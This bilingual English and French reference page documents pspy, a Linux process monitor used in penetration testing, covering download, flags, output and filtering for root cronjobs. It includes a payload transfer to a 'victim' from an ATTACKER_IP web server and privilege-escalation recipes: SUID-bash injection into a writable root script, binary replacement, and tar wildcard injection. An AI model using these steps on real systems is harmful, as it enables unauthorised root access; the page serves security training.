← retour aux outils back to tools

# pspy

Moniteur de processus Linux non privilégié. Surveille les nouveaux processus sans root en lisant /proc. Capture les cronjobs, tâches planifiées et exécutions de scripts privilégiés. Unprivileged Linux process monitor. Watches for new processes without root by reading /proc. Catches cronjobs, scheduled tasks, and privileged script executions.

↗ https://github.com/DominicBreuker/pspy

## Overview

pspy monitors Linux processes in real-time without requiring root privileges. It reads `/proc` on an interval to catch new process spawns — including those running as root. This reveals cronjobs, scheduled scripts, and privileged commands that may be exploitable for privilege escalation.

## Download & Run

Download precompiled binary (choose based on architecture) 64-bit static binary (works on most systems)

    wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64

32-bit

    wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32

    # Make executable and run
    chmod +x pspy64
    ./pspy64

Or transfer to target via web server Attacker:

    python3 -m http.server 8000

    # Victim:
    wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy64
    chmod +x /tmp/pspy64
    /tmp/pspy64

## Usage

Basic monitoring (default: check every 100ms)

    ./pspy64

Set interval (milliseconds)

    ./pspy64 -i 1000     # Check every second

Show filesystem events (inotify) in addition to processes

    ./pspy64 -f

Monitor specific directory for file changes

    ./pspy64 -f -d /tmp,/var/tmp,/dev/shm

Filter by UID (only show root processes)

    ./pspy64 | grep "UID=0"

Suppress header

    ./pspy64 -q

Log to file

    ./pspy64 | tee /tmp/pspy_output.txt

## Output Format

    2024/01/15 14:30:01 CMD: UID=0    PID=1234   | /bin/sh -c /opt/cleanup.sh
    2024/01/15 14:30:01 CMD: UID=0    PID=1235   | /opt/cleanup.sh
    2024/01/15 14:30:02 CMD: UID=1000 PID=1236   | curl http://internal-server/data
    2024/01/15 14:31:00 CMD: UID=0    PID=1237   | /usr/sbin/cron

Fields: timestamp, UID of process owner, PID, and full command line.

## What to Look For

Filter for root processes only

    ./pspy64 | grep "UID=0"

Look for scripts in writable directories

    ./pspy64 | grep -E "/tmp|/var/tmp|/dev/shm"

Look for cron jobs

    ./pspy64 | grep "cron\|CRON"

Look for scripts with world-writable paths

    ./pspy64 | grep "\.sh"

Look for interesting binaries called as root

    ./pspy64 | grep "UID=0" | grep -v "^\[" | awk '{print $6}' | sort -u

## Privesc Patterns

Pattern 1: Root runs script in world-writable dir If you see: UID=0 | /bin/sh /tmp/backup.sh And /tmp/backup.sh is writable by your user:

    echo 'chmod +s /bin/bash' >> /tmp/backup.sh

→ Wait for next execution → /bin/bash -p → root shell

    # Pattern 2: Root calls a binary you can replace
    # If you see: UID=0 | /usr/local/bin/cleanup
    # Check: ls -la /usr/local/bin/cleanup → if writable:
    # Replace with malicious version

    # Pattern 3: Wildcard injection in cron
    # If you see: UID=0 | /bin/tar -czf /backup/*
    # Touch files named: --checkpoint=1 --checkpoint-action=exec=sh shell.sh

## Tips

- Let pspy run for at least 5-10 minutes — cronjobs may run every minute
- Run at :00 minutes to catch jobs that run at the start of each minute
- Combine with `crontab -l`, `cat /etc/cron*`, and `/var/spool/cron/` for static analysis
- pspy is completely statically compiled — it runs on any Linux system

Help / Man page

    pspy [flags]

    -i int      Interval between scans (ms, default: 100)
    -f          Enable inotify filesystem watching
    -d string   Directories to watch (default: /usr,/tmp,/etc,/home,/var,/opt)
    -r string   Root directories to watch (for filesystem events)
    -p          Disable process scanning
    -q          Quiet output (no header banner)
    -c          Use colors

## Vue d’ensemble

pspy surveille les processus Linux en temps réel sans nécessiter de privilèges root. Il lit `/proc` à intervalle régulier pour capturer les nouveaux processus créés, y compris ceux qui s’exécutent en tant que root. Cela révèle les tâches cron, scripts planifiés et commandes privilégiées potentiellement exploitables pour une élévation de privilèges.

## Téléchargement et exécution

    # Télécharger le binaire précompilé (selon l'architecture)
    # binaire statique 64 bits (fonctionne sur la plupart des systèmes)
    wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64

    # 32 bits
    wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32

    # Rendre exécutable et lancer
    chmod +x pspy64
    ./pspy64

    # Ou transférer vers la cible via un serveur web. Attaquant :
    python3 -m http.server 8000

    # Victime :
    wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy64
    chmod +x /tmp/pspy64
    /tmp/pspy64

## Utilisation

    # Surveillance basique (par défaut : vérification toutes les 100 ms)
    ./pspy64

    # Définir l'intervalle (millisecondes)
    ./pspy64 -i 1000     # Vérifier chaque seconde

    # Afficher les événements du système de fichiers (inotify) en plus des processus
    ./pspy64 -f

    # Surveiller un répertoire spécifique pour les changements de fichiers
    ./pspy64 -f -d /tmp,/var/tmp,/dev/shm

    # Filtrer par UID (afficher uniquement les processus root)
    ./pspy64 | grep "UID=0"

    # Supprimer l'en-tête
    ./pspy64 -q

    # Journaliser dans un fichier
    ./pspy64 | tee /tmp/pspy_output.txt

## Format de sortie

    2024/01/15 14:30:01 CMD: UID=0    PID=1234   | /bin/sh -c /opt/cleanup.sh
    2024/01/15 14:30:01 CMD: UID=0    PID=1235   | /opt/cleanup.sh
    2024/01/15 14:30:02 CMD: UID=1000 PID=1236   | curl http://internal-server/data
    2024/01/15 14:31:00 CMD: UID=0    PID=1237   | /usr/sbin/cron

Champs : horodatage, UID du propriétaire du processus, PID et ligne de commande complète.

## Ce qu’il faut rechercher

    # Filtrer uniquement les processus root
    ./pspy64 | grep "UID=0"

    # Rechercher des scripts dans des répertoires inscriptibles
    ./pspy64 | grep -E "/tmp|/var/tmp|/dev/shm"

    # Rechercher des tâches cron
    ./pspy64 | grep "cron\|CRON"

    # Rechercher des scripts avec des chemins accessibles en écriture à tous
    ./pspy64 | grep "\.sh"

    # Rechercher des binaires intéressants appelés en tant que root
    ./pspy64 | grep "UID=0" | grep -v "^\[" | awk '{print $6}' | sort -u

## Motifs de privesc

    # Motif 1 : root exécute un script dans un répertoire accessible en écriture à tous
    # Si vous voyez : UID=0 | /bin/sh /tmp/backup.sh, et que /tmp/backup.sh est inscriptible par votre utilisateur :
    echo 'chmod +s /bin/bash' >> /tmp/backup.sh

→ Attendre la prochaine exécution → /bin/bash -p → shell root

    # Motif 2 : root appelle un binaire que vous pouvez remplacer
    # Si vous voyez : UID=0 | /usr/local/bin/cleanup
    # Vérifier : ls -la /usr/local/bin/cleanup → si inscriptible :
    # Remplacer par une version malveillante

    # Motif 3 : injection par wildcard dans cron
    # Si vous voyez : UID=0 | /bin/tar -czf /backup/*
    # Créer des fichiers nommés : --checkpoint=1 --checkpoint-action=exec=sh shell.sh

## Conseils

- Laissez pspy tourner au moins 5 à 10 minutes : les tâches cron peuvent s’exécuter chaque minute
- Lancez-le à la minute :00 pour capturer les tâches qui s’exécutent au début de chaque minute
- Combinez avec `crontab -l`, `cat /etc/cron*` et `/var/spool/cron/` pour une analyse statique
- pspy est entièrement compilé statiquement : il fonctionne sur n’importe quel système Linux

Aide / Page de manuel

    pspy [flags]

    -i int      Interval between scans (ms, default: 100)
    -f          Enable inotify filesystem watching
    -d string   Directories to watch (default: /usr,/tmp,/etc,/home,/var,/opt)
    -r string   Root directories to watch (for filesystem events)
    -p          Disable process scanning
    -q          Quiet output (no header banner)
    -c          Use colors